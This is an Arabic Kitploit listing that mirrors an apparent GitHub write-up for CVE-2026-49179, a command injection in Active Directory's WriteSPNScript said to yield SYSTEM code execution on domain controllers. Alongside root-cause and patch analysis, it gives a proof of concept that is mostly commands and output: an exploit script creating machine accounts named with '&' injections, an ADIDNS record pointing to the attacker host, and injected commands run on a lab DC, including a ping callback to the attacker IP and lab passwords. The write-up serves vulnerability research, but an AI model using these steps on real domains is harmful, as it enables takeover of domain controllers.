Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection — أدلة إثبات المفهوم ونصوص الاستغلال الخاصة بـ CVE-2026-49179، وهو حقن أوامر في دالة WriteSPNScript الخاصة بـ Active Directory يتيح تنفيذ تعليمات برمجية عن بُعد بصلاحيات SYSTEM على وحدات تحكم المجال. | Kitploit
أدوات/GitHubGitHub/overgrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراق
GitHubovergrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection

CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection

أدلة إثبات المفهوم ونصوص الاستغلال الخاصة بـ CVE-2026-49179، وهو حقن أوامر في دالة WriteSPNScript الخاصة بـ Active Directory يتيح تنفيذ تعليمات برمجية عن بُعد بصلاحيات SYSTEM على وحدات تحكم المجال.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
5254منذ شهر واحدلم تتم المراجعة بعد

CVE-2026-49179: حقن أوامر في WriteSPNScript ضمن Active Directory

الملخص

الحقلالقيمة
معرّف CVECVE-2026-49179
CVSS8.8 (AV:N/AC:L/PR:L/UI:N)
CWECWE-77 (حقن أوامر)
المكوّن المتأثرntdsai.dll — الدالة WriteSPNScript
الأنظمة المتأثرةWindows Server 2016, 2019, 2022, 2025 (قبل التصحيح)
ناقل الهجوممستخدم نطاق مُصادَق عليه (أي مستخدم)
التأثيرتنفيذ تعليمات برمجية عن بُعد بصلاحيات SYSTEM على وحدة التحكم بالمجال
تاريخ النشرأغسطس 2026

وصف الثغرة الأمنية

تُنشئ الدالة WriteSPNScript في ntdsai.dll أوامر نصية دفعية لمعالجة SPN (اسم الخدمة الرئيسي) أثناء عمليات صيانة Active Directory. تستخدم الدالة سلسلة تنسيق لبناء أوامر repadmin.exe /writespn لكنها تفشل في تعقيم معامل الاسم المميز (DN)، مما يسمح بحقن أوامر عبر المحرف & (فاصل أوامر cmd.exe).

سلسلة التنسيق المصابة بالثغرة:

%ws\repadmin.exe /writespn %ws %ws %ws\r\n

المعاملات: SystemDir، WriteOp (ADD/DELETE)، DN، SPN_value

يُشتق DN من الاسم الشائع (CN) لحساب الجهاز، والذي يُضبط أثناء إنشاء الحساب. عندما يُنشأ حساب جهاز يحتوي اسمه على محارف ميتا خاصة بالصدفة (shell metacharacters)، تتدفق تلك المحارف دون تهريب إلى السكربت المُولَّد. وعندما ينفّذ cmd.exe السكربت، يعمل & كفاصل أوامر، فينفّذ أوامر يتحكم بها المهاجم بصلاحيات SYSTEM.

تحليل السبب الجذري

فجوة التحقق: SAMR مقابل LDAP

يمتلك Active Directory بروتوكولين رئيسيين لإدارة حسابات الأجهزة:

البروتوكولالتحقق من المحارفمحارف ميتا خاصة بالصدفة
LDAP (قيم SPN)صارم — يرفض CONSTRAINT_ATT_TYPE المحارف & ; | ' \ $ ( )`محظورة
SAMR (أسماء الأجهزة)مرن — يتحقق من الصيغة الأساسية لاسم الحسابمسموح بها: & ' \ $ ( ) ! space`

عدم التماثل في التحقق هو السبب الجذري:

  • التحقق من SPN عبر LDAP يحظر جميع المحارف الخطرة في قيم SPN (طريق مسدود للحقن عبر SPN)
  • إنشاء الحساب عبر SAMR يسمح بمحارف ميتا خاصة بالصدفة في sAMAccountName، والذي يصبح CN ويتدفق إلى DN
  • يُمرَّر DN إلى WriteSPNScript دون تعقيم

الكود المصاب (ntdsai.dll الأساسي)

عند العنوان 0x1802a98a0 في الملف الثنائي غير المُرقَّع:

void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
    STRSAFE_LPSTR pszDest;  // ANSI output buffer
    char local_288[47];     // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
    WCHAR local_258[264];   // System directory

    GetSystemDirectoryW(local_258, 0x104);

    // Calculate buffer size (sum of all string lengths + overhead)
    uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;

    // Allocate and format — NO ESCAPING of DN or SPN parameters
    pszDest = THAlloc_(param_1, 1, uVar4, 1);
    StringCchPrintfA(pszDest, uVar4, local_288, local_258);

    // Write to script file handle
    WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}

StringCchPrintfA ينسّق DN مباشرةً في مخزن الإخراج. لا تهريب، ولا اقتباس، ولا تعقيم.

الإخراج المُولَّد (قابل للاستغلال)

بالنسبة لجهاز يكون فيه CN=A&ping attacker&B:

C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B

يفسّر cmd.exe هذا على أنه خمس عبارات منفصلة:

#العبارةالنتيجة
1C:\...\repadmin.exe /writespn ADD CN=Aيفشل (DN مبتور)
2ping attackerمُحقَن — يُنفَّذ بصلاحيات SYSTEM
3B,CN=Computers,DC=... HOST/Aيفشل (ليس أمرًا صالحًا)
4ping attackerمُحقَن — يُنفَّذ مرة أخرى (من معامل SPN)
5Bيفشل (ليس أمرًا صالحًا)

يظهر الأمر المُحقَن مرتين — مرة من معامل DN ومرة من معامل SPN (الذي يحتوي أيضًا على اسم الجهاز).

تحليل الترقيع

يُجري WriteSPNScript المُرقَّع (الحجم: 1477 → 2005 بايت) ثلاثة تغييرات:

1. إضافة دوال التهريب

دالتان جديدتان للتعقيم تُطبَّقان على كلٍّ من معاملي DN وSPN:

  • EscapeForPowerShellSingleQuote() — تُهرّب ' لمنع الخروج من السلاسل النصية المحاطة بعلامات اقتباس مفردة
  • EscapeForNativeArgvBackslashesBeforeDoubleQuote() — تُهرّب تسلسلات \ قبل " لتحليل argv الأصلي

2. تغيير صيغة الإخراج

الأساس (المعرّض للثغرة)المُرقَّع
الدالةStringCchPrintfA (ANSI)StringCchPrintfW (Wide/Unicode)
الاقتباسلا يوجدمعاملات محاطة بعلامات اقتباس مفردة
الإخراجrepadmin /writespn ADD DN SPNrepadmin /writespn ADD 'escaped_DN' 'escaped_SPN'

3. إزالة علامة الميزة

كانت هناك مراجعة سابقة تحتوي على علامة ميزة Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled تتحكم في الإصلاح. في الترقيع النهائي، تمت إزالة هذه العلامة — الإصلاح نشط دائمًا ولا يمكن تعطيله.

إثبات المفهوم

بيئة الاختبار

المضيفالدورIPنظام التشغيل
WINTERFELLوحدة تحكم المجال192.168.56.11Windows Server 2019
AttackerKali Linux192.168.14.238Kali 2026
المجالnorth.sevenkingdoms.local
مستخدم منخفض الصلاحياتsamwell.tarly / Heartsbaneمستخدم مجال عادي
مستخدم مسؤولrobb.stark / sexywolfyمسؤول المجال

الخطوة 1: التأكد من أن SAMR يقبل محارف الصدفة الوصفية

باستخدام spn_probe3.py، تم اختبار المحارف التي يقبلها SAMR في أسماء حسابات الأجهزة مقابل ما يقبله LDAP في قيم SPN:

SAMR Machine Name Character Test (as samwell.tarly):
  [+] ACCEPTED  '   (single quote)     -> INJECT'A$  RID: 1123
  [+] ACCEPTED  `   (backtick)         -> INJECT`A$  RID: 1124
  [+] ACCEPTED  &   (ampersand)        -> INJECT&A$  RID: 1125
  [+] ACCEPTED  $   (dollar sign)      -> INJECT$A$  RID: 1126
  [+] ACCEPTED  (   (left paren)       -> INJECT(A$  RID: 1127
  [+] ACCEPTED  )   (right paren)      -> INJECT)A$  RID: 1128
  [+] ACCEPTED  !   (exclamation)      -> INJECT!A$  RID: 1129
  [+] ACCEPTED  ' ' (space)            -> INJECT A$  RID: 1130

LDAP SPN Validation (all 28 shell metacharacters tested):
  [-] ALL REJECTED with constraintViolation (DSID-033E109C)

النتيجة الرئيسية: يسمح SAMR بجميع أحرف shell meta الثمانية التي تم اختبارها. بينما يحظرها LDAP جميعًا. يكون متجه الحقن عبر أسماء الأجهزة التي ينشئها SAMR، وليس عبر قيم SPN.

الخطوة 2: إنشاء جهاز حقن كمستخدم نطاق عادي

$ python3 spn_prl_exploit.py 192.168.56.11 \
    -d north.sevenkingdoms.local \
    -u samwell.tarly -p Heartsbane --payload benign

[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137

أُنشئ أيضًا باسم samwell.tarly:

[+] Created C&ping a&D$, RID: 1138

مؤكد: يمكن لمستخدم نطاق عادي (PR:L) إنشاء حسابات أجهزة مع حقن أوامر & في الاسم.

الخطوة 3: إضافة سجل DNS للاستدعاء العكسي (كمستخدم عادي)

يمكن لمستخدمي النطاق العاديين إضافة سجلات ADIDNS. استُخدم dnstool.py لإنشاء اسم مضيف قصير يشير إلى المهاجم:

python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
    -r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11

تم التحقق من الحل على DC:

*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name:    a.north.sevenkingdoms.local
Address:  192.168.14.238

الخطوة 4: التحقق من حقن الأوامر على DC

محاكاة المخرجات الدقيقة التي سيولّدها WriteSPNScript، عند تنفيذها على DC:

إثبات كتابة الملف:

*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED

إثبات استدعاء ICMP:

*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
تنزيل الأداة